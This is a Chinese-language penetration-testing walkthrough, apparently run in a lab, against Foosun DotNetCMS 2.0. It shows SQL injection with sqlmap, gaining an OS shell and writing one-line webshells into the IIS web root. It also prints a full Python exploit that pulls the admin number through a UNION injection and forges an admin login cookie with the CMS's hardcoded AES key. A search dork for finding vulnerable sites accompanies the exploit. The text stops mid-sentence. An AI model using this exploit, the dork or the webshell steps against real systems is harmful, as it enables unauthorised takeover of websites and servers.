1. 程式人生 > >內網漫遊-模擬真實環境【一】

內網漫遊-模擬真實環境【一】

宣告:本篇文章測試網路環境為內網搭建靶場測試

先了解一下網路結構圖(結構圖為測試後繪製)

關於10段的FTP因時間關係沒有繼續進行探測

 

資訊收集:

通過NMAP進行埠掃描 發現網站開放了80,443,700,8080埠

80埠下存在web服務 :Foosun DotNetCMS 2.0  網站為IIS搭建的aspx站  伺服器作業系統為win2008

8080埠下存在路由登入介面

 

 滲透過程:

通過網上查詢Foosun DotNetCMS 2.0發現該CMS存在SQL注入 後臺登入繞過

SQL注入:

通過查詢發現該CMS存在sql注入 注入點為:

www.test.com/user/City_ajax.aspx?Cityld=1

使用sqlmap對注入點進行測試,可以跑處後臺使用者名稱及密碼,但密碼較複雜解不開

嘗試使用sqlmap查詢許可權,發現許可權較高,並且可以反彈shell

sqlmap檢視許可權:sqlmap.py -u 網址 --privileges 

sqlmap反彈shell:sqlmap.py -u 網址 --os-shell

使用shell 查詢一下許可權和IP

發現許可權為系統許可權可以進行寫入操作 

發現IP為192.168.1.123 說明該網站是搭建在192.168.1.123上,在通過埠轉發 轉到了192.168.31.55上

發現有寫入許可權  進行寫入一句話木馬,但是寫入一句話木馬需要知道伺服器的絕對路徑

網站為IIS搭建,我們可以嘗試猜一下絕對路徑

C:\inetpub\wwwroot\

D:\inetpub\wwwroot\

發現可以寫入的絕對路徑為C:\inetpub\wwwroot\   

成功寫入asp的一句話

在寫aspx的一句話時發現<無法識別,那就需要轉譯可以使用^ (在一句話裡的所有<都需要轉譯)

使用菜刀或蟻劍可以成功訪問 我們就成功可以讀取192.168.1.123的檔案了

 

 

後臺登入繞過

 通過與sql注入的結合使用可以繞過後臺登入

工具:EditThisCookie   python Crypto模組

漏洞具體產生原因可以百度一下,這裡只介紹測試過程

通過注入可以獲取UserNumber:

http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

將得到的UserNumber進行加密,得到加密串,寫入cookie就可以成功登陸。

但是cookie需要加密,使用下面的指令碼進行加密

使用exp程式碼如下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:           ##
##inurl:/manage/Login.aspx   ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
  parser = argparse.ArgumentParser()
  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
  return parser.parse_args()
def run(url):
  try:
      usernumber = get_usernumber(url)
      if usernumber is not None:
          encrypt_cookie = generate_cookie(usernumber)
          #寫入cookie中
          write_cookie(url, encrypt_cookie)
  except Exception:
      traceback.print_exc()
def get_usernumber(url):
  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
  content = urllib.urlopen(fullurl).read()
  index = content.index("<option value=\"")
  if  index != -1:
      usernumber = content[index+15:]
      usernumber = usernumber[0: content.index("\"")+1]
      print "Get usernumber success. Usernumber is :", usernumber
      return usernumber
  else:
      print "Get usernumber fail"
      return None
def pkcs7padding(data):
  bs = AES.block_size
  padding = bs - len(data) % bs
  padding_text = chr(padding) * padding
  return data + padding_text
def generate_cookie(usernumber):
  orgstr = "%s,admin,0,1,False"%(usernumber,)
  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
  ciphertext = base64.b64encode(ciphertext)
  return ciphertext
def write_cookie(url, ciphercookie):
  print "Generate Cookie[SITEINFO]:", ciphercookie
  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
  args = parse_args()
  try:
      if args.url is not None:
          run(args.url[0])
  except Exception, e:
      print "python Foosun_exp.py -u [url]"

把exp程式碼複製,在桌面新建一個Foosun_exp.py指令碼檔案並把程式碼貼上

在cmd下使用python執行該檔案,如果無法執行說明python沒有安裝Crypto模組

使用pip 進行安裝Crypto模組

安裝命令: pip install pycryptodome

安裝成功後在執行Foosun_exp.py就可以獲取到加密Cookie

 用EditThisCookie寫入瀏覽器Cookie,再訪問管理主頁面連結即可。

如果pip無法使用的話 有2個原因

1.沒有設定環境變數 在環境變數的path中加入:G:\Python\Scripts

2.pip版本低 升級pip

這樣我們就成功登入後臺,進入後臺後通過修改上傳引數,使aspx的檔案可以上傳,隨便找個上傳點進行上傳一句話 之後使用菜刀連線

 

 到這裡我們已經拿到了IP為192.168.1.123內網伺服器,要想進行內網漫遊,得獲取路由的許可權

&n